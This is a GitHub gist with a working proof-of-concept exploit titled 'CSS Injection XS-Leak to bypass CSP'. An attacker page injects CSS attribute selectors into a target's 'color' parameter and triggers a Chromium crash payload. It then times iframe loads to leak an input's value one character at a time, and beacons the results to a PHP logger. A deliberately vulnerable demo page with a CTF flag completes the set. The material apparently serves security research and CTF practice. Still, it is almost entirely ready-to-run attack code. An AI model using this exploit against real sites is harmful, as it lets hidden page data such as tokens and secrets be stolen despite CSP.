-
-
Save JorianWoltjer/76fdd101a6e89b06b3b047d35fb9bcc0 to your computer and use it in GitHub Desktop.
CSS Injection XS-Leak to bypass CSP
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div><button id="leak">Leak</button></div> | |
<div><textarea id="log" cols="100" rows="30" readonly></textarea></div> | |
<script> | |
const TARGET = 'http://localhost:8000'; | |
const ALPHABET = " {}_Ee3Aa@4RrIi1Oo0Tt7NnSs25$LlCcUuDdPpMmHhGg6BbFfYyWwKkVvXxZzJjQq89-,.!?'\"#%&()*+/\\:;<=>[]^`|~"; // Ordered by frequency | |
const TIMEOUT = 1000; // Max load time for the error page | |
let w; | |
function escape(s) { | |
// See https://www.w3.org/TR/css-syntax-3/#token-diagrams | |
return s.split('').map(c => `\\${c.charCodeAt(0).toString(16).padStart(2, '0')}`).join(''); | |
} | |
function log(msg) { | |
const value = document.getElementById('log').value; | |
document.getElementById('log').value = msg + '\n' + value; | |
navigator.sendBeacon(`/log.php`, msg); | |
} | |
// Return whether the selector was found | |
function leak(prefix, c, operator='^=') { | |
return new Promise((resolve) => { | |
// Crash all instances of this origin | |
const selector = `input[value${operator}${escape(prefix+c)}]`; | |
// See https://issues.chromium.org/issues/382086298. If this ever gets fixed, use a different CSS crashing payload | |
const payload = `}${selector}{background:linear-gradient(in display-p3,red,blue)}`; | |
const params = new URLSearchParams({color: payload}); | |
w.location = TARGET + "/vuln.php?" + params | |
// Create 2 iframes. The 1st will always succeed, but the 2nd may crash while loading | |
const iframe = document.createElement("iframe"); | |
iframe.src = TARGET + "/%00"; // This should be any iframable URL on the target site. %00 often gives an error page with missing security headers | |
iframe.style.display = 'none'; | |
document.body.appendChild(iframe) | |
const iframe2 = iframe.cloneNode(); | |
document.body.appendChild(iframe2) | |
const timeout = setTimeout(() => { | |
// If crash blocked onload= event | |
document.querySelectorAll('iframe').forEach(iframe => iframe.remove()); | |
resolve(true); | |
}, TIMEOUT); | |
iframe2.onload = () => { | |
// If iframe still loaded | |
clearTimeout(timeout); | |
document.querySelectorAll('iframe').forEach(iframe => iframe.remove()); | |
resolve(false); | |
} | |
}); | |
} | |
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms)); | |
document.getElementById('leak').addEventListener('click', async () => { | |
async function linearSearch(prefix) { | |
for (let c of ALPHABET) { | |
const result = await leak(prefix, c); | |
log(`${prefix}${c}: ${result}`); | |
if (result) { | |
return c; | |
} | |
} | |
} | |
w = window.open("about:blank", "popup", "width=500,height=200"); | |
let prefix = ''; | |
while (true) { | |
// Find one character | |
const result = await linearSearch(prefix); | |
log('='.repeat(25)); | |
if (result) { | |
log(`Result: ${prefix}${result}`); | |
prefix += result; | |
// If exact match, we are done | |
if (await leak(prefix, '', '=')) { | |
break; | |
} | |
} else { | |
throw new Error('Not found'); | |
} | |
} | |
w.close(); | |
log(`FINAL: ${prefix}`); | |
alert(prefix); | |
}); | |
</script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$log = file_get_contents('php://input'); | |
file_put_contents('php://stdout', 'LOG: ' . $log . "\n"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<h1>Hello, world!</h1> | |
<input type="text" value="CTF{flag}" /> | |
<style> | |
body { | |
background-color: <?= htmlspecialchars($_GET['color']) ?>; | |
} | |
</style> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment